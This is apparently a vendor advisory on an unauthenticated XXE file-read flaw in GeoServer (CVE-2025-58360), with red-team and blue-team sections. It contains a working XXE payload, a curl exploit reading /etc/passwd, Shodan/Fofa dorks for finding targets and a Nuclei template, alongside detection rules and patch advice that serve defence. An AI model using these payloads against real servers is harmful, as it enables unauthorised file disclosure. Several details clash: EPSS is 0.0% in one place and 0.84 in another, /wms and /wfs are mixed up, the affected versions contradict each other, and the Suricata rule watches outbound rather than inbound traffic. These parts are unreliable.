CVE-2025-58360

Executive Summary

CVE-2025-58360 is a critical XML External Entity (XXE) injection vulnerability in GeoServer, an open-source server for sharing and editing geospatial data. The flaw resides in the /geoserver/wms endpoint's GetMap operation, where XML input is not properly sanitized. An unauthenticated attacker can craft a malicious XML payload to read arbitrary files from the server filesystem or trigger a denial of service (DoS) via entity expansion. The vulnerability affects GeoServer versions 2.26.0 to 2.26.2 and versions prior to 2.25.6. Patches are available in versions 2.25.6, 2.26.3, and 2.27.0. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the public availability of a Nuclei template and the high CVSS score (8.2) demand immediate attention.

Supply Chain & Package Security

GeoServer is a Java-based application distributed as a WAR file or via Docker images. The vulnerability is introduced through the core codebase, not a third-party dependency. However, organizations using GeoServer in containerized environments should verify that their base images are updated to patched versions. No malicious packages or compromised dependencies have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: Low (A:L) – Potential DoS via entity expansion.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to sensitive data disclosure. The availability impact is low, but file disclosure can be catastrophic if configuration files, credentials, or geospatial data are exposed.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection (CWE-611). GeoServer's WMS (Web Map Service) endpoint accepts XML payloads in the GetMap operation, specifically through the StyledLayerDescriptor (SLD) format. The XML parser is configured to resolve external entities by default, allowing an attacker to define an entity that references a local file.

Attack Flow:

1. The attacker sends a POST request to /geoserver/wfs?service=WMS&request=GetMap with a Content-Type: application/vnd.ogc.sld+xml header.
2. The XML body contains a DOCTYPE declaration with an external entity pointing to a file (e.g., /etc/passwd).
3. The entity is referenced in the <Name> element of the SLD.
4. The server processes the XML, resolves the entity, and includes the file content in the response (or error message), disclosing the file.

Why It Works:

• The XML parser used by GeoServer (likely SAX or DOM) does not disable external entity processing.
• The endpoint does not validate or sanitize the XML input against malicious DOCTYPE declarations.
• The error message returned by the server includes the file content, making data exfiltration trivial.

Example Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer><Name>&xxe;</Name></NamedLayer>
</StyledLayerDescriptor>

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch): The vulnerable code likely uses a default DocumentBuilderFactory without disabling external entity processing. For example:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patched Code (Post-Patch): The patched code explicitly disables external entities and DTD processing:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patch Details:

• GeoServer 2.25.6: Backport of the fix to the 2.25.x branch.
• GeoServer 2.26.3: Fix applied to the 2.26.x branch.
• GeoServer 2.27.0: Fix included in the latest major release.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable GeoServer instance (version 2.26.0 to 2.26.2 or < 2.25.6).
• Network access to the /geoserver/wfs endpoint.

Exploitation Steps:

1. Identify the target using Shodan or Fofa dorks:
   • title:"geoserver"
   • http.favicon.hash:97540678
2. Send a crafted POST request using curl:

   curl -X POST "http://target:8080/geoserver/wfs?service=WMS&request=GetMap" \
     -H "Content-Type: application/vnd.ogc.sld+xml" \
     -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
   <StyledLayerDescriptor version="1.0.0">
   <NamedLayer><Name>&xxe;</Name></NamedLayer>
   </StyledLayerDescriptor>'
   

3. The response will contain the file content in an error message or directly in the output.

Advanced Exploitation:

• Use parameter entities for blind XXE to exfiltrate data via out-of-band channels (e.g., DNS or HTTP).
• Use expect or other protocols if available (e.g., expect://id for command execution, though less common in Java).

Nuclei Template (Provided):

id: CVE-2025-58360

info:
  name: GeoServer - XML External Entity Injection
  author: lbb,xbow,darses
  severity: high
  description: |
    GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.
  impact: |
    Attackers can disclose sensitive files or cause denial of service by exploiting XML external entity processing.
  remediation: |
    Update to GeoServer 2.25.6, 2.26.3, 2.27.0 or later.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    cve-id: CVE-2025-58360
    epss-score: 0.84052
    epss-percentile: 0.99308
    cwe-id: CWE-611
  metadata:
    verified: true
    max-request: 2
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - 'http.html_hash:1093634893 "Content-Disposition: inline"'
      - http.favicon.hash:97540678
      - html:"/geoserver/"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
      - icon_hash="97540678"
      - body="/geoserver/"
  tags: cve,cve2025,geoserver,xxe,wms,vkev,kev

http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap"
      - "{{BaseURL}}/wfs?service=WMS&request=GetMap"

    headers:
      Content-Type: application/vnd.ogc.sld+xml

    body: |
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/this_file_does_not_exist"> ]>
      <StyledLayerDescriptor version="1.0.0">
      <NamedLayer><Name>&xxe;</Name></NamedLayer>
      </StyledLayerDescriptor>

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ServiceException"
          - "java.io.FileNotFoundException"
        condition: and

      - type: status
        status:
          - 200

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /geoserver/wfs with Content-Type: application/vnd.ogc.sld+xml.
• Look for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
• Alert on error messages containing java.io.FileNotFoundException or ServiceException.

Honeypot:

• Deploy a decoy GeoServer instance and log all XML payloads for analysis.
• Use a WAF rule to block requests with suspicious XML content.

Forensics:

• Check server logs for unusual file paths in error messages (e.g., /etc/passwd, /etc/shadow).
• Review network logs for outbound connections from the GeoServer server (potential OOB exfiltration).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /geoserver/wfs?service=WMS&request=GetMap with Content-Type: application/vnd.ogc.sld+xml.
• XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
• Outbound connections to attacker-controlled servers (for OOB XXE).

File IOCs:

• Unexpected file reads (e.g., /etc/passwd, /etc/shadow, application config files).
• Error logs containing java.io.FileNotFoundException with file paths.

System IOCs:

• Unusual processes or network connections from the GeoServer Java process.
• Modified XML parser configuration files (if attacker gains persistence).

Detection Engineering

YARA Rule

rule CVE_2025_58360_GeoServer_XXE {
    meta:
        description = "Detects XXE payloads targeting GeoServer CVE-2025-58360"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-58360"
        severity = "high"
    strings:
        $xml_decl = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        $doctype = "<!DOCTYPE"
        $entity = "<!ENTITY"
        $xxe_ref = "&xxe;"
        $system = "SYSTEM"
        $sld = "<StyledLayerDescriptor"
        $named_layer = "<NamedLayer>"
    condition:
        all of ($xml_decl, $doctype, $entity, $system) and
        any of ($xxe_ref, $sld, $named_layer)
}

Sigma Rule

title: GeoServer XXE Injection Attempt (CVE-2025-58360)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-58360 in GeoServer via XML external entity injection.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58360
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/geoserver/wfs*'
        cs-content-type: 'application/vnd.ogc.sld+xml'
        cs-body|contains:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate use of external entities in SLD files (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-58360 GeoServer XXE Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/geoserver/wfs";
    http_uri;
    content:"application/vnd.ogc.sld+xml";
    http_client_body;
    content:"<!DOCTYPE";
    http_client_body;
    content:"<!ENTITY";
    http_client_body;
    content:"SYSTEM";
    http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-58360;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-58360;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GeoServer to version 2.25.6, 2.26.3, or 2.27.0 immediately.
2. Workaround: If patching is not possible, disable the WMS endpoint or restrict access to trusted IPs via firewall or reverse proxy.
3. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.

Long-Term Mitigations:

• Secure XML Parsing: Ensure all XML parsers in the application are configured to disable external entity processing by default.
• Input Validation: Validate and sanitize all XML input against a strict schema.
• Least Privilege: Run GeoServer with minimal file system permissions to limit the impact of file disclosure.
• Monitoring: Implement logging and alerting for suspicious XML requests and error messages.

Verification:

• After patching, test the endpoint with the provided Nuclei template to confirm the vulnerability is resolved.
• Review application logs for any prior exploitation attempts.

Valters IT
Securing Your Digital Landscape

{/* [Security Hash: E3107B3309F39FA18EEB8A3A] */}